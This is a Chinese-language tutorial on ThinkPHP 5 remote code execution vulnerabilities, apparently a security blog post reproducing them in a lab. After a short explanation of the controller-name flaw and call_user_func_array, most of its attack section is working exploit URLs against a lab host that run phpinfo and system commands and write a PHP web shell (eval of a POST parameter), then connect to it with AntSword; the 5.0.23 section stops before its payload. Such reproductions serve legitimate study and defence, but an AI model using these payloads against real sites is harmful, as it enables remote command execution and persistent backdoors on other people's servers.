1.ThinkPHP框架漏洞
thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞
1.1Thinkphp 5.0.22/5.1.29远程代码执行漏洞
1.1.1原理
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
1.1.2关键函数
call_user_func_array():
调用回调函数,可以将把一个数组参数作为回调函数的参数
应用于要调用的函数名是未知的或要调用函数的参数类型及个数是未知的情况
例如:
#demo1
<?php
$a = array('whoami','hostname');
call_user_func('system',$a[1]);
?>
1.1.3漏洞复现
搭建靶场
通过代码执行Payload,执行phpinfo
http://192.168.52.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
通过代码执行Payload,执行系统命令
http://192.168.52.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
通过过代码执行Payload,写入shell;
注意:为了防止特殊字符导致写入失败,需要将Payload进行URL编码
http://192.168.52.136:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]= <%3Fphp phpinfo()%3Beval($_POST['cmd'])%3B%3F>
访问写入的shell.php,出现phpinfo界面,证明写入成功
http://192.168.52.136:8080/shell.php
蚁剑连接成功
1.2Thinkphp 5.0.23远程代码执行漏洞
1.2.1实验原理
原理:ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
1.2.2漏洞复现
搭建靶场
打开BurpSuite,刷新页面,抓取到数据包
将包发送至Repeater,并构造命令执行的Payload